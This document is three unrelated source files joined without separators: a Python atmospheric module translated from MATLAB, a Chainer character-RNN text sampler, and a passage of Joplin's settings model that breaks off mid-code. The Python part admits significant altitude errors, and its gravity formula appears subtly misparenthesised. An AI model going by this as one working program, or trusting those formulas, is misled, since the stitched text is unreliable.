`constants.ppm`, then pass here. :param T: Temperature [K] :param p: Pressure [Pa] :returns: Number density in molecules per m^3 """ # ideal gas law: p = n_0 * k * T return vmr * p / (k * T) def p2z_oversimplified(p): """Convert pressure to altitude with oversimplified assumptions. Neglects the virtual temperature correction, assumes isothermal atmosphere with pressure dropping factor 10 for each 16 km. Use a better function... :param p: Pressure [Pa] :returns: Altitude [m] """ return 16e3 * (5 - numpy.log10(p) ) @tools.validator def p2z_hydrostatic(p:numpy.ndarray, T:numpy.ndarray, h2o, p0:(numpy.number, numbers.Number, numpy.ndarray), z0:(numpy.number, numbers.Number, numpy.ndarray), lat:(numpy.number, numbers.Number, numpy.ndarray)=45, z_acc:(numpy.number, numbers.Number, numpy.ndarray)=-1, ellps="WGS84", extend=False): """Calculate hydrostatic elevation Translated from https://www.sat.ltu.se/trac/rt/browser/atmlab/trunk/geophysics/pt2z.m WARNING: seems to get siginificant errors. Testing with an ACE profile between 8.5 and 150 km, I get errors from 10 up to +100 metre between 10 and 50 km, increasing to +300 metre at 100 km, after which the bias changes sign, crosses 0 at 113 km and finally reaches -4000 metre at 150 km. This is not due to humidity. Atmlabs pt2z version differs only 30 metre from mine. In %, this error is below 0.3% up to 100 km, then changes sign and reaching -3% at 150 km. For many purposes this is good enough, though, and certainly better than p2z_oversimplified. :param array p: Pressure [Pa] :param array T: Temperature [K]. Must match the size of p. :param h2o: Water vapour [vmr]. If negligible, set to 0. Must be either scalar, or match the size of p and T. :param p0: :param z0: :param lat: Latitude [degrees]. This has some effect on the vertical distribution of gravitational acceleration, leading to difference of some 500 metre at 150 km. Defaults to 45°. :param z_acc: Up to what precision to iteratively calculate the z-profile. If -1, run two iterations, which should be accurate, according to the comment below. :param str ellps: Ellipsoid to use. The function relies on pyproj.Geod, which is an interface to the proj library. For a full table of ellipsoids, run 'proj -le'. :param bool extend: If p0, z0 outside of p, z range, extend artificially. WARNING: This will assume CONSTANT T, h2o! :returns array z: Array of altitudes [m]. Same size as p and T. """ # Original description: # % PT2Z Hydrostatic altitudes # % # % Calculates altitudes fulfilling hydrostatic equilibrium, based on # % vertical profiles of pressure, temperature and water vapour. Pressure # % and altitude of a reference point must be specified. # % # % Molecular weights and gravitational constants are hard coded and # % function is only valid for the Earth. # % # % As the gravitation changes with altitude, an iterative process is # % needed. The accuracy can be controlled by *z_acc*. The calculations # % are repeated until the max change of the altitudes is below *z_acc*. If # % z_acc<0, the calculations are run twice, which should give an accuracy # % better than 1 m. # % # % FORMAT z = pt2z( p, t, h2o, p0, z0 [,lat,z_acc,refell] ) # % # % OUT z Altitudes [m]. # % IN p Column vector of pressures [Pa]. # % t Column vector of temperatures [K]. # % h2o Water vapour [VMR]. Vector or a scalar, e.g. 0. # % p0 Pressure of reference point [Pa]. # % z0 Altitude of reference point [m]. # % lat Latitude. Default is 45. # % z_acc Accuracy for z. Default is -1. # % ellipsoid Reference ellipsoid data, see *ellipsoidmodels*. # % Default is data matching WGS84. # # % 2005-05-11 Created by Patrick Eriksson. #32 function z = pt2z(p,t,h2o,p0,z0,varargin) #33 % #34 [lat,z_acc,ellipsoid] = optargs( varargin, { 45, -1, NaN } ); #35 % ellipsoid = pyproj.Geod(ellps=ellps) #36 if isnan(ellipsoid) #37 ellipsoid = ellipsoidmodels('wgs84'); #38 end #39 %&% #40 rqre_nargin( 5, nargin ); %&% #41 rqre_datatype( p, @istensor1 ); %&% #42 rqre_datatype( t, @istensor1 ); %&% #43 rqre_datatype( h2o, @istensor1 ); %&% #44 rqre_datatype( p0, @istensor0 ); %&% #45 rqre_datatype( z0, @istensor0 ); %&% #46 rqre_datatype( lat, @istensor0 ); %&% if not p.size == T.size: raise ValueError("p and T must have same length") if p.min() < 0: raise ValueError("Found negative pressures") if T.min() < 0: raise ValueError("Found negative temperatures") #47 np = length( p ); #48 if length(t) ~= np %&% #49 error('The length of *p* and *t* must be identical.'); %&% #50 end %&% if not (isinstance(h2o, numbers.Real) or h2o.size in (p.size, 1)): raise ValueError("h2o must have length of p or be scalar") #51 if ~( length(h2o) == np | length(h2o) == 1 ) %&% #52 error('The length of *h2o* must be 1 or match *p*.'); %&% #53 end %&% # FIXME IS THIS NEEDED? Yes — See e-mail Patrick 2014-08-11 if p0 > p[0] or p0 < p[-1]: if extend: if p0 > p[0]: # p[0] is largest pressure, p0 even larger extend = "below" p = numpy.hstack([p0, p]) T = numpy.hstack([T[0], T]) h2o = numpy.hstack([h2o[0], h2o]) elif p0 < p[-1]: extend = "above" # p[-1] is smallest pressure, p0 even smaller p = numpy.hstack([p, p0]) T = numpy.hstack([T, T[-1]]) h2o = numpy.hstack([h2o, h2o[-1]]) else: raise ValueError(("reference pressure ({:.2f}) must be " "in total pressure range ({:.2f} -- {:.2f})").format( p0, p[0], p[-1])) # END FIXME #54 if p0 > p(1) | p0 < p(np) %&% #55 error('Reference point (p0) can not be outside range of *p*.'); %&% #56 end %&% #57 #58 #59 %= Expand *h2o* if necessary #60 % #61 if length(h2o) == 1 #62 h2o = repmat( h2o, np, 1 ); #63 end if isinstance(h2o, numbers.Real) or h2o.size == 1: h2o = h2o * numpy.ones_like(p) if h2o.max() > 1: raise ValueError("Found h2o vmr values up to {:.2f}. Expected < 1.".format(h2o.max())) ##64 #65 #66 %= Make rough estimate of *z* #67 % #68 z = p2z_simple( p ); z = p2z_oversimplified(p) #69 z = shift2refpoint( p, z, p0, z0 ); z = _shift2refpoint(p, z, p0, z0) #70 #71 #72 %= Set Earth radius and g at z=0 #73 % #74 re = ellipsoidradii( ellipsoid, lat ); # APPROXIMATION! Approximate radius at latitude by linear # interpolation in cos(lat) between semi-major-axis and # semi-minor-axis # # Get radius at latitude re = (ellipsoid.a * numpy.cos(numpy.deg2rad(lat)) + ellipsoid.b * (1-numpy.cos(numpy.deg2rad(lat)))) #75 g0 = lat2g0( lat ); g0 = lat2g0(lat) #76 #77 #78 %= Gas constant and molecular weight of dry air and water vapour #79 % #80 r = constants( 'GAS_CONST' ); #81 md = 28.966; #82 mw = 18.016; #83 % #84 k = 1-mw/md; % 1 - eps k = 1 - M_w/M_d #85 rd = 1e3 * r / md; % Gas constant for 1 kg dry air rd = 1e3 * R / M_d # gas constant for 1 kg dry air #86 #87 #88 %= How to end iterations #89 % #90 if z_acc < 0 #91 niter = 2; #92 else #93 niter = 99; #94 end niter = 2 if z_acc < 0 else 99 #95 #96 for iter = 1:niter for i in range(niter): #97 #98 zold = z; #99 zold = z #100 g = z2g( re, g0, z ); g = z2g(re, g0, z) #101 #102 for i = 1 : (np-1) for i in range(p.size-1): #103 #104 gp = ( g(i) + g(i+1) ) / 2; gp = (g[i] + g[i+1]) / 2 #105 #106 %-- Calculate average water VMR (= average e/p) #107 hm = (h2o(i)+h2o(i+1)) / 2; hm = (h2o[i] + h2o[i+1]) / 2 #108 #109 %-- The virtual temperature (no liquid water) #110 tv = (t(i)+t(i+1)) / ( 2 * (1-hm*k) ); % E.g. 3.16 in Wallace&Hobbs #111 tv = (T[i] + T[i+1]) / (2 * (1 - hm*k)) #112 %-- The change in vertical altitude from i to i+1 #113 dz = rd * (tv/gp) * log( p(i)/p(i+1) ); dz = rd * (tv/gp) * numpy.log(p[i]/p[i+1]) #114 z(i+1) = z(i) + dz; z[i+1] = z[i] + dz #115 #116 end #117 #118 %-- Match the altitude of the reference point #119 z = shift2refpoint( p, z, p0, z0 ); z = _shift2refpoint(p, z, p0, z0) #120 #121 if z_acc >= 0 & max(abs(z-zold)) < z_acc #122 break; #123 end if z_acc >= 0 and max(abs(z-zold)) < z_acc: break #124 #125 end #126 #127 return # correct for extending if extend == "below": # lowest pressure extra return z[1:] elif extend == "above": # highest pressure extra return z[:-1] else: return z #128 %---------------------------------------------------------------------------- #129 #130 function z = shift2refpoint( p, z, p0, z0 ) #131 % #132 z = z - ( interpp( p, z, p0 ) - z0 ); #133 % #134 return def _shift2refpoint(p, z, p0, z0): """Given z(p), shift this to include (p0, z0) Taken from atmlabs equivalent function https://www.sat.ltu.se/trac/rt/browser/atmlab/trunk/geophysics/pt2z.m """ #return z - (pamath.interpp(p, z, p0) - z0) # revert p, z because for numpy.interp x-coor must be increasing return z - (numpy.interp(numpy.log(p0), numpy.log(p[::-1]), z[::-1]) - z0) def z2g(r_geoid, g0, z): """Calculate gravitational acceleration at elevation Derived from atmlabs equivalent function https://www.sat.ltu.se/trac/rt/browser/atmlab/trunk/geophysics/pt2z.m :param r: surface radius at point [m] :param g0: surface gravitational acceleration at point [m/s^2] :param z: elevation [m] :returns: gravitational acceleration at point [m/s^2] """ #137 function g = z2g(r_geoid,g0,z) #138 % #139 g = g0 * (r_geoid./(r_geoid+z)).^2; return g0 * (r_geoid/(r_geoid+z))**2; #140 % #141 return #142 def lat2g0(lat): """Calculate surface gravitational acceleration for latitude This function is stolen from atmlab: https://www.sat.ltu.se/trac/rt/browser/atmlab/trunk/geophysics/pt2z.m From the original description: Expression below taken from Wikipedia page "Gravity of Earth", that is stated to be: International Gravity Formula 1967, the 1967 Geodetic Reference System Formula, Helmert's equation or Clairault's formula. :param lat: Latitude [degrees] :returns: gravitational acceleration [m/s] """ x = numpy.abs( lat ); # see docstring for source of parametrisation return 9.780327 * ( 1 + 5.3024e-3*numpy.sin(numpy.deg2rad(x))**2 + 5.8e-6*numpy.sin(numpy.deg2rad(2*x)**2 )) def estimate_effective_temperature(f, W, f_c, T): r"""Estimate effective temperature for SRF For a monochromatic radiance, one can easily convert radiance to brightness temperature using the Planck function. For a polychromatic radiance such as a channel radiance, this is incorrect. Weinreb et al. (1981) propose a solution in calculating an effective temperature: T_e = B^{-1}(\int_{f_1}^{f_2} \phi B df) where $T_e$ is the effective temperature, $B$ is the Planck function, $f_1$ and $f_2$ are the lower and upper limit of the channel, $\phi$ is the normalised channel radiance. This, used with the central wavenumber, is correct FIXME VERIFY. According to Weinreb et al. (1981) this is "from the theorem"... I should understand this! Weinreb, M.P., Fleming, H.E., McMillin, L.M., Neuendorffer, A.C, Transmittances for the TIROS operational vertical sounder, 1981, NOAA Technical Report NESS 85. :param ndarray f: Frequency [Hz] for spectral response function. :param ndarray W: Weight [1] for spectral response function. Should be normalised to be integrated to 1. :param f_c: Central frequency to be used with Planck function. :param T: Temperature [K] :returns: Effective temperature [K]. """ B = planck_f(f, T) chanrad = spectral_to_channel(f, B, f.squeeze(), W) T_e = specrad_frequency_to_planck_bt(chanrad, f_c) return T_e
#%% import time import math import sys import argparse import cPickle as pickle import numpy as np from chainer import cuda, Variable, FunctionSet import chainer.functions as F from CharRNN import CharRNN, make_initial_state import codecs #%% arguments parser = argparse.ArgumentParser() parser.add_argument('--model', type=str, required=True) parser.add_argument('--vocabulary', type=str, required=True) parser.add_argument('--seed', type=int, default=123) parser.add_argument('--sample', type=int, default=1) parser.add_argument('--primetext', type=str, default='') parser.add_argument('--length', type=int, default=2000) parser.add_argument('--gpu', type=int, default=-1) args = parser.parse_args() np.random.seed(args.seed) # load vocabulary vocab = pickle.load(open(args.vocabulary, 'rb')) ivocab = {} for c, i in vocab.items(): ivocab[i] = c # load model model = pickle.load(open(args.model, 'rb')) n_units = model.embed.W.shape[1] if args.gpu >= 0: cuda.init() model.to_gpu() # initialize generator state = make_initial_state(n_units, batchsize=1, train=False) if args.gpu >= 0: for key, value in state.items(): value.data = cuda.to_gpu(value.data) prev_char = np.array([0]) if args.gpu >= 0: prev_char = cuda.to_gpu(prev_char) sys.stdout = codecs.getwriter('utf_8')(sys.stdout) if len(args.primetext) > 0: for i in unicode(args.primetext, 'utf-8'): sys.stdout.write(i) prev_char = np.ones((1,)).astype(np.int32) * vocab[i] if args.gpu >= 0: prev_char = cuda.to_gpu(prev_char) state, prob = model.predict(prev_char, state) for i in xrange(args.length): state, prob = model.predict(prev_char, state) if args.sample > 0: probability = cuda.to_cpu(prob.data)[0].astype(np.float64) probability /= np.sum(probability) index = np.random.choice(range(len(probability)), p=probability) else: index = np.argmax(cuda.to_cpu(prob.data)) sys.stdout.write(ivocab[index]) prev_char = np.array([index]) if args.gpu >= 0: prev_char = cuda.to_gpu(prev_char) print
const BaseModel = require('lib/BaseModel.js'); const { Database } = require('lib/database.js'); const { Logger } = require('lib/logger.js'); const SyncTargetRegistry = require('lib/SyncTargetRegistry.js'); const { time } = require('lib/time-utils.js'); const { sprintf } = require('sprintf-js'); const ObjectUtils = require('lib/ObjectUtils'); const { toTitleCase } = require('lib/string-utils.js'); const { rtrimSlashes } = require('lib/path-utils.js'); const { _, supportedLocalesToLanguages, defaultLocale } = require('lib/locale.js'); const { shim } = require('lib/shim'); class Setting extends BaseModel { static tableName() { return 'settings'; } static modelType() { return BaseModel.TYPE_SETTING; } static metadata() { if (this.metadata_) return this.metadata_; const platform = shim.platformName(); const emptyDirWarning = _('Attention: If you change this location, make sure you copy all your content to it before syncing, otherwise all files will be removed! See the FAQ for more details: %s', 'https://joplinapp.org/faq/'); // A "public" setting means that it will show up in the various config screens (or config command for the CLI tool), however // if if private a setting might still be handled and modified by the app. For instance, the settings related to sorting notes are not // public for the mobile and desktop apps because they are handled separately in menus. this.metadata_ = { 'activeFolderId': { value: '', type: Setting.TYPE_STRING, public: false }, 'firstStart': { value: true, type: Setting.TYPE_BOOL, public: false }, 'locale': { value: defaultLocale(), type: Setting.TYPE_STRING, isEnum: true, public: true, label: () => _('Language'), options: () => { return ObjectUtils.sortByValue(supportedLocalesToLanguages()); }}, 'dateFormat': { value: Setting.DATE_FORMAT_1, type: Setting.TYPE_STRING, isEnum: true, public: true, label: () => _('Date format'), options: () => { let options = {} const now = (new Date('2017-01-30T12:00:00')).getTime(); options[Setting.DATE_FORMAT_1] = time.formatMsToLocal(now, Setting.DATE_FORMAT_1); options[Setting.DATE_FORMAT_2] = time.formatMsToLocal(now, Setting.DATE_FORMAT_2); options[Setting.DATE_FORMAT_3] = time.formatMsToLocal(now, Setting.DATE_FORMAT_3); options[Setting.DATE_FORMAT_4] = time.formatMsToLocal(now, Setting.DATE_FORMAT_4); options[Setting.DATE_FORMAT_5] = time.formatMsToLocal(now, Setting.DATE_FORMAT_5); options[Setting.DATE_FORMAT_6] = time.formatMsToLocal(now, Setting.DATE_FORMAT_6); return options; }}, 'timeFormat': { value: Setting.TIME_FORMAT_1, type: Setting.TYPE_STRING, isEnum: true, public: true, label: () => _('Time format'), options: () => { let options = {} const now = (new Date('2017-01-30T20:30:00')).getTime(); options[Setting.TIME_FORMAT_1] = time.formatMsToLocal(now, Setting.TIME_FORMAT_1); options[Setting.TIME_FORMAT_2] = time.formatMsToLocal(now, Setting.TIME_FORMAT_2); return options; }}, 'theme': { value: Setting.THEME_LIGHT, type: Setting.TYPE_INT, public: true, appTypes: ['mobile', 'desktop'], isEnum: true, label: () => _('Theme'), section: 'appearance', options: () => { let output = {}; output[Setting.THEME_LIGHT] = _('Light'); output[Setting.THEME_DARK] = _('Dark'); return output; }}, 'uncompletedTodosOnTop': { value: true, type: Setting.TYPE_BOOL, section: 'note', public: true, appTypes: ['cli'], label: () => _('Uncompleted to-dos on top') }, 'showCompletedTodos': { value: true, type: Setting.TYPE_BOOL, section: 'note', public: true, appTypes: ['cli'], label: () => _('Show completed to-dos') }, 'notes.sortOrder.field': { value: 'user_updated_time', type: Setting.TYPE_STRING, section: 'note', isEnum: true, public: true, appTypes: ['cli'], label: () => _('Sort notes by'), options: () => { const Note = require('lib/models/Note'); const noteSortFields = ['user_updated_time', 'user_created_time', 'title']; const options = {}; for (let i = 0; i < noteSortFields.length; i++) { options[noteSortFields[i]] = toTitleCase(Note.fieldToLabel(noteSortFields[i])); } return options; }}, 'notes.sortOrder.reverse': { value: true, type: Setting.TYPE_BOOL, section: 'note', public: true, label: () => _('Reverse sort order'), appTypes: ['cli'] }, 'folders.sortOrder.field': { value: 'title', type: Setting.TYPE_STRING, isEnum: true, public: true, appTypes: ['cli'], label: () => _('Sort notebooks by'), options: () => { const Folder = require('lib/models/Folder'); const folderSortFields = ['title', 'last_note_user_updated_time']; const options = {}; for (let i = 0; i < folderSortFields.length; i++) { options[folderSortFields[i]] = toTitleCase(Folder.fieldToLabel(folderSortFields[i])); } return options; }}, 'folders.sortOrder.reverse': { value: true, type: Setting.TYPE_BOOL, public: true, label: () => _('Reverse sort order'), appTypes: ['cli'] }, 'trackLocation': { value: true, type: Setting.TYPE_BOOL, section: 'note', public: true, label: () => _('Save geo-location with notes') }, 'newTodoFocus': { value: 'title', type: Setting.TYPE_STRING, section: 'note', isEnum: true, public: true, appTypes: ['desktop'], label: () => _('When creating a new to-do:'), options: () => { return { 'title': _('Focus title'), 'body': _('Focus body'), }; }}, 'newNoteFocus': { value: 'body', type: Setting.TYPE_STRING, section: 'note', isEnum: true, public: true, appTypes: ['desktop'], label: () => _('When creating a new note:'), options: () => { return { 'title': _('Focus title'), 'body': _('Focus body'), }; }}, 'markdown.softbreaks': { value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable soft breaks') }, 'markdown.plugin.katex': {value: true, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable math expressions')}, 'markdown.plugin.mark': {value: true, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable ==mark== syntax')}, 'markdown.plugin.footnote': {value: true, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable footnotes')}, 'markdown.plugin.toc': {value: true, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable table of contents extension')}, 'markdown.plugin.sub': {value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable ~sub~ syntax')}, 'markdown.plugin.sup': {value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable ^sup^ syntax')}, 'markdown.plugin.deflist': {value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable deflist syntax')}, 'markdown.plugin.abbr': {value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable abbreviation syntax')}, 'markdown.plugin.emoji': {value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable markdown emoji')}, 'markdown.plugin.insert': {value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable ++insert++ syntax')}, 'markdown.plugin.multitable': {value: false, type: Setting.TYPE_BOOL, section: 'plugins', public: true, appTypes: ['mobile', 'desktop'], label: () => _('Enable multimarkdown table extension')}, // Tray icon (called AppIndicator) doesn't work in Ubuntu // http://www.webupd8.org/2017/04/fix-appindicator-not-working-for.html // Might be fixed in Electron 18.x but no non-beta release yet. So for now // by default we disable it on Linux. 'showTrayIcon': { value: platform !== 'linux', type: Setting.TYPE_BOOL, section:'application', public: true, appTypes: ['desktop'], label: () => _('Show tray icon'), description: () => { return platform === 'linux' ? _('Note: Does not work in all desktop environments.') : _('This will allow Joplin to run in the background. It is recommended to enable this setting so that your notes are constantly being synchronised, thus reducing the number of conflicts.'); }}, 'startMinimized': { value: false, type: Setting.TYPE_BOOL, section:'application', public: true, appTypes: ['desktop'], label: () => _('Start application minimised in the tray icon') }, 'collapsedFolderIds': { value: [], type: Setting.TYPE_ARRAY, public: false }, 'db.ftsEnabled': { value: -1, type: Setting.TYPE_INT, public: false }, 'encryption.enabled': { value: false, type: Setting.TYPE_BOOL, public: false }, 'encryption.activeMasterKeyId': { value: '', type: Setting.TYPE_STRING, public: false }, 'encryption.passwordCache': { value: {}, type: Setting.TYPE_OBJECT, public: false, secure: true }, 'style.zoom': {value: 100, type: Setting.TYPE_INT, public: true, appTypes: ['desktop'], section: 'appearance', label: () => _('Global zoom percentage'), minimum: 50, maximum: 500, step: 10}, 'style.editor.fontSize': {value: 13, type: Setting.TYPE_INT, public: true, appTypes: ['desktop'], section: 'appearance', label: () => _('Editor font size'), minimum: 4, maximum: 50, step: 1}, 'style.editor.fontFamily': {value: "", type: Setting.TYPE_STRING, public: true, appTypes: ['desktop'], section: 'appearance', label: () => _('Editor font family'), description: () => _('This must be *monospace* font or it will not work properly. If the font is incorrect or empty, it will default to a generic monospace font.')}, 'style.sidebar.width': {value: 150, minimum: 80, maximum: 400, type: Setting.TYPE_INT, public: false, appTypes: ['desktop'] }, 'style.noteList.width': {value: 150, minimum: 80, maximum: 400, type: Setting.TYPE_INT, public: false, appTypes: ['desktop'] }, 'autoUpdateEnabled': { value: true, type: Setting.TYPE_BOOL, section:'application', public: true, appTypes: ['desktop'], label: () => _('Automatically update the application') }, 'autoUpdate.includePreReleases': { value: false, type: Setting.TYPE_BOOL, section:'application', public: true, appTypes: ['desktop'], label: () => _('Get pre-releases when checking for updates'), description: () => _('See the pre-release page for more details: %s', 'https://joplinapp.org/prereleases') }, 'clipperServer.autoStart': { value: false, type: Setting.TYPE_BOOL, public: false }, 'sync.interval': { value: 300, type: Setting.TYPE_INT, section:'sync', isEnum: true, public: true, label: () => _('Synchronisation interval'), options: () => { return { 0: _('Disabled'), 300: _('%d minutes', 5), 600: _('%d minutes', 10), 1800: _('%d minutes', 30), 3600: _('%d hour', 1), 43200: _('%d hours', 12), 86400: _('%d hours', 24), }; }}, 'noteVisiblePanes': { value: ['editor', 'viewer'], type: Setting.TYPE_ARRAY, public: false, appTypes: ['desktop'] }, 'sidebarVisibility': { value: true, type: Setting.TYPE_BOOL, public: false, appTypes: ['desktop'] }, 'tagHeaderIsExpanded': { value: true, type: Setting.TYPE_BOOL, public: false, appTypes: ['desktop'] }, 'folderHeaderIsExpanded': { value: true, type: Setting.TYPE_BOOL, public: false, appTypes: ['desktop'] }, 'editor': { value: '', type: Setting.TYPE_STRING, subType: 'file_path_and_args', public: true, appTypes: ['cli', 'desktop'], label: () => _('Text editor command'), description: () => _('The editor command (may include arguments) that will be used to open a note. If none is provided it will try to auto-detect the default editor.') }, 'showAdvancedOptions': { value: false, type: Setting.TYPE_BOOL, public: true, appTypes: ['mobile' ], label: () => _('Show advanced options') }, 'sync.target': { value: SyncTargetRegistry.nameToId('dropbox'), type: Setting.TYPE_INT, isEnum: true, public: true, section:'sync', label: () => _('Synchronisation target'), description: (appType) => { return appType !== 'cli' ? null : _('The target to synchonise to. Each sync target may have additional parameters which are named as `sync.NUM.NAME` (all documented below).') }, options: () => { return SyncTargetRegistry.idAndLabelPlainObject(); }}, 'sync.2.path': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { try { return settings['sync.target'] == SyncTargetRegistry.nameToId('filesystem') } catch (error) { return false; } }, filter: (value) => { return value ? rtrimSlashes(value) : ''; }, public: true, label: () => _('Directory to synchronise with (absolute path)'), description: () => emptyDirWarning }, 'sync.5.path': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { return settings['sync.target'] == SyncTargetRegistry.nameToId('nextcloud') }, public: true, label: () => _('Nextcloud WebDAV URL'), description: () => emptyDirWarning }, 'sync.5.username': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { return settings['sync.target'] == SyncTargetRegistry.nameToId('nextcloud') }, public: true, label: () => _('Nextcloud username') }, 'sync.5.password': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { return settings['sync.target'] == SyncTargetRegistry.nameToId('nextcloud') }, public: true, label: () => _('Nextcloud password'), secure: true }, 'sync.6.path': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { return settings['sync.target'] == SyncTargetRegistry.nameToId('webdav') }, public: true, label: () => _('WebDAV URL'), description: () => emptyDirWarning }, 'sync.6.username': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { return settings['sync.target'] == SyncTargetRegistry.nameToId('webdav') }, public: true, label: () => _('WebDAV username') }, 'sync.6.password': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { return settings['sync.target'] == SyncTargetRegistry.nameToId('webdav') }, public: true, label: () => _('WebDAV password'), secure: true }, 'sync.3.auth': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.4.auth': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.7.auth': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.1.context': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.2.context': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.3.context': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.4.context': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.5.context': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.6.context': { value: '', type: Setting.TYPE_STRING, public: false }, 'sync.7.context': { value: '', type: Setting.TYPE_STRING, public: false }, 'net.customCertificates': { value: '', type: Setting.TYPE_STRING, section:'sync', show: (settings) => { return [SyncTargetRegistry.nameToId('nextcloud'), SyncTargetRegistry.nameToId('webdav')].indexOf(settings['sync.target']) >= 0 }, public: true, appTypes: ['desktop', 'cli'], label: () => _('Custom TLS certificates'), description: () => _('Comma-separated list of paths to directories to load the certificates from, or path to individual cert files. For example: /my/cert_dir, /other/custom.pem. Note that if you make changes to the TLS settings, you must save your changes before clicking on "Check synchronisation configuration".') }, 'net.ignoreTlsErrors': { value: false, type: Setting.TYPE_BOOL, section:'sync', show: (settings) => { return [SyncTargetRegistry.nameToId('nextcloud'), SyncTargetRegistry.nameToId('webdav')].indexOf(settings['sync.target']) >= 0 }, public: true, appTypes: ['desktop', 'cli'], label: () => _('Ignore TLS certificate errors') }, 'api.token': { value: null, type: Setting.TYPE_STRING, public: false }, 'resourceService.lastProcessedChangeId': { value: 0, type: Setting.TYPE_INT, public: false }, 'searchEngine.lastProcessedChangeId': { value: 0, type: Setting.TYPE_INT, public: false }, 'searchEngine.initialIndexingDone': { value: false, type: Setting.TYPE_BOOL, public: false }, 'welcome.wasBuilt': { value: false, type: Setting.TYPE_BOOL, public: false }, }; return this.metadata_; } static settingMetadata(key) { const metadata = this.metadata(); if (!(key in metadata)) throw new Error('Unknown key: ' + key); let output = Object.assign({}, metadata[key]); output.key = key; return output; } static keyExists(key) { return key in this.metadata(); } static keyDescription(key, appType = null) { const md = this.settingMetadata(key); if (!md.description) return null; return md.description(appType); } static keys(publicOnly = false, appType = null) { if (!this.keys_) { const metadata = this.metadata(); this.keys_ = []; for (let n in metadata) { if (!metadata.hasOwnProperty(n)) continue; this.keys_.push(n); } } if (appType || publicOnly) { let output = []; for (let i = 0; i < this.keys_.length; i++) { const md = this.settingMetadata(this.keys_[i]); if (publicOnly && !md.public) continue; if (appType && md.appTypes && md.appTypes.indexOf(appType) < 0) continue; output.push(md.key); } return output; } else { return this.keys_; } } static isPublic(key) { return this.keys(true).indexOf(key) >= 0; } static load() { this.cancelScheduleSave(); this.cache_ = []; return this.modelSelectAll('SELECT * FROM settings').then((rows) => { this.cache_ = []; for (let i = 0; i < rows.length; i++) { let c = rows[i]; if (!this.keyExists(c.key)) continue; c.value = this.formatValue(c.key, c.value); c.value = this.filterValue(c.key, c.value); this.cache_.push(c); } this.dispatchUpdateAll(); }); } static toPlainObject() { const keys = this.keys(); let keyToValues = {}; for (let i = 0; i < keys.length; i++) { keyToValues[keys[i]] = this.value(keys[i]); } return keyToValues; } static dispatchUpdateAll() { this.dispatch({ type: 'SETTING_UPDATE_ALL', settings: this.toPlainObject(), }); } static setConstant(key, value) { if (!(key in this.constants_)) throw new Error('Unknown constant key: ' + key); this.constants_[key] = value; } static setValue(key, value) { if (!this.cache_) throw new Error('Settings have not been initialized!'); value = this.formatValue(key, value); value = this.filterValue(key, value); for (let i = 0; i < this.cache_.length; i++) { let c = this.cache_[i]; if (c.key == key) { const md = this.settingMetadata(key); if (md.isEnum === true) { if (!this.isAllowedEnumOption(key, value)) { throw new Error(_('Invalid option value: "%s". Possible values are: %s.', value, this.enumOptionsDoc(key))); } } if (c.value === value) return; // Don't log this to prevent sensitive info (passwords, auth tokens...) to end up in logs // this.logger().info('Setting: ' + key + ' = ' + c.value + ' => ' + value); if (('minimum' in md) && value < md.minimum) value = md.minimum; if (('maximum' in md) && value > md.maximum) value = md.maximum; c.value = value; this.dispatch({ type: 'SETTING_UPDATE_ONE', key: key, value: c.value, }); this.scheduleSave(); return; } } this.cache_.push({ key: key, value: this.formatValue(key, value), }); this.dispatch({ type: 'SETTING_UPDATE_ONE', key: key, value: this.formatValue(key, value), }); this.scheduleSave(); } static setObjectKey(settingKey, objectKey, value) { let o = this.value(settingKey); if (typeof o !== 'object') o = {}; o[objectKey] = value; this.setValue(settingKey, o); } static deleteObjectKey(settingKey, objectKey) { const o = this.value(settingKey); if (typeof o !== 'object') return; delete o[objectKey]; this.setValue(settingKey, o); } static valueToString(key, value) { const md = this.settingMetadata(key); value = this.formatValue(key, value); if (md.type == Setting.TYPE_INT) return value.toFixed(0); if (md.type == Setting.TYPE_BOOL) return value ? '1' : '0'; if (md.type == Setting.TYPE_ARRAY) return value ? JSON.stringify(value) : '[]'; if (md.type == Setting.TYPE_OBJECT) return value ? JSON.stringify(value) : '{}'; if (md.type == Setting.TYPE_STRING) return value ? value + '' : ''; throw new Error('Unhandled value type: ' + md.type); } static filterValue(key, value) { const md = this.settingMetadata(key); return md.filter ? md.filter(value) : value; } static formatValue(key, value) { const md = this.settingMetadata(key); if (md.type == Setting.TYPE_INT) return !value ? 0 : Math.floor(Number(value)); if (md.type == Setting.TYPE_BOOL) { if (typeof value === 'string') { value = value.toLowerCase(); if (value === 'true') return true; if (value === 'false') return false; value = Number(value); } return !!value; } if (md.type === 